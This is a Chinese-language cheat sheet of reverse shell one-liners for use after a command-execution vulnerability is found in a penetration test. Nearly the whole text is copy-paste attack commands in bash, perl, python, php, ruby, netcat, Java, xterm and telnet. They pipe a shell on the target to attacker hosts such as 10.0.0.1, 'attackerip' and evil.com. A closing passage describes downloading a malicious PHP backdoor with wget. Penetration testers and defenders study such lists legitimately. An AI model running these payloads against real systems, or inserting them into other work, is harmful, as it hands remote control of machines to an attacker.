reverse shell 大全

如果您很幸运在渗透测试期间发现了命令执行漏洞,那么不久之后您可能会需要一个交互式shell。

如果无法添加新帐户/SSH密钥/.rhosts文件并仅登录,则下一步可能是使用reverse shell或将shell绑定到TCP端口。此页面涉及前者。创建reverse shell程序的选项受目标系统上安装的脚本语言的限制-尽管如果准备充分,也可以上传二进制程序。显示的示例是针对类Unix系统量身定制的。如果将“/bin/sh -i”替换为“cmd.exe”,则以下某些示例在Windows上也应适用。

下面的每种方法都旨在成为一种可以复制/粘贴的方式。因此,它们的行很短,但可读性很差。

bash

  • 某些版本的bash可以向您发送reverse shell(已在Ubuntu 10.10上进行了测试):
1
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
  • Bash shell的替代品:
1
2
3
4
5
6
7
8
9
10
exec /bin/bash 0&0 2>&0

Or:
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

Or:
exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done
or:
while read line 0<&5; do $line 2>&5 >&5; done
  • 现在,本地侦听服务器中键入的所有内容都将在目标上执行,并且命令的输出将通过管道返回。请记住,我们不在目标上使用任何第三方工具,而是在其默认shell程序上使用。该技术在许多情况下都很方便,并且在目标系统上只占很小的空间。
1
2
3
4
$ nc -l -p 8080 -vvv

$ exec 5<>/dev/tcp/evil.com/8080
$ cat <&5 | while read line; do $line 2>&5 >&5; done
  • 端口扫描:
1
for i in 79 80 81; do echo $i & bash -i >& /dev/tcp/192.168.1.1/$i 0>&1;done
  • 禁用了GAPING_SECURITY_HOLE的netcat:
1
mknod backpipe p && nc 192.168.56.11 8888 0<backpipe | /bin/bash 1>backpipe
  • 没有netcat的netcat:
1
/bin/bash -i > /dev/tcp/192.168.56.110/8080 0<&1 2>&1
  • 没有netcat或/dev/tcp的netcat:
1
mknod backpipe p && telnet 192.168.56.114 2336 0<backpipe | /bin/bash 1>backpipe
  • telnet-to-telnet:
    我不确定为什么要使用这种技术,但这是一个选择,因此仍然可以使用。这显然是最丑陋的技术。此技术使用连接到远程侦听器的两个telnet会话,将输入从一个telnet会话传递到/bin/bash,然后将输出传递到第二个telnet会话。命令输入到攻击者侦听器中的一个侦听器中,并且在另一个侦听器上接收反馈。
1
/bin/bash | telnet 192.168.56.110 8899

perl

  • 这是perl-reverse-shell的简短,无功能版本:
1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • 不依赖/bin/sh的较短的Perl反向shell:
1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
  • 如果目标系统正在运行Windows,请使用以下单行代码:
1
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

python

  • 这已在Linux/Python 2.7下进行了测试:
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

  • 该代码假定TCP连接使用文件描述符3.在我的测试系统上有效。如果不起作用,请尝试4、5、6…
1
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

如果要上传.php文件,请参见功能更强大的php-reverse-shell。

ruby

1
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  • 不依赖/bin/sh的更长的Ruby反向shell:
1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
  • 如果目标系统正在运行Windows,请使用以下单行代码:
1
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Netcat

  • Netcat在生产系统上很少出现,即使有多个版本的Netcat,其中一些也不支持-e选项。
1
nc -e /bin/sh 10.0.0.1 1234
  • 如果您安装了错误的netcat版本,Jeff Price在这里指出,您仍然可以像下面这样获得reverse shell:
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
  • 其他可能的Netcat reverse Shell,取决于Netcat版本和编译标志:
1
2
3
4
5
nc -c /bin/sh attackerip 4444
Or:
/bin/sh | nc attackerip 4444
Or:
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p

Java

1
2
3
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

xterm

  • reverse shell的最简单形式之一是xterm会话。以下命令应在服务器上运行。它将尝试通过TCP端口6001重新连接到您(10.0.0.1)。
1
2
3
xterm -display 10.0.0.1:1
Or:
$ DISPLAY=attackerip:0 xterm
  • 要捕获传入的xterm,请启动X服务器(:1 –侦听TCP端口6001)。一种方法是使用Xnest(在您的系统上运行):
1
Xnest :1
  • 您需要授权目标连接到您(命令也在主机上运行):
1
xhost +targetip

telnet

  • 当然,您也可以使用Telnet替代Netcat:
1
2
3
rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p
Or:
telnet attackerip 4444 | /bin/bash | telnet attackerip 4445 # Remember to listen on your machine also on port 4445/tcp

RCE shell

  • 这个有点作弊。这仅适用于远程命令执行漏洞。编写了一个小的python脚本,而不是将命令手动输入到代理或浏览器url中,从而为您提供了shell的感觉,而没有产生任何与目标相反的内容。您只需向脚本传递易受攻击的url,并将可注入字段替换为’‘标记,即可为您提供一个干净的界面来输入命令。在后台,脚本将请求发送到Web服务器,解析响应并将其呈现给您。

通过交互式控制台的PHP-reverse-Shell

  • 最后一种技术是利用php交互式控制台。攻击者发出一个命令,该命令移至/tmp目录(因为它通常在world范围内可写),使用wget下载恶意php-reverse-tcp后门(攻击者将其托管在他控制的Web服务器上),然后通过交互式控制台。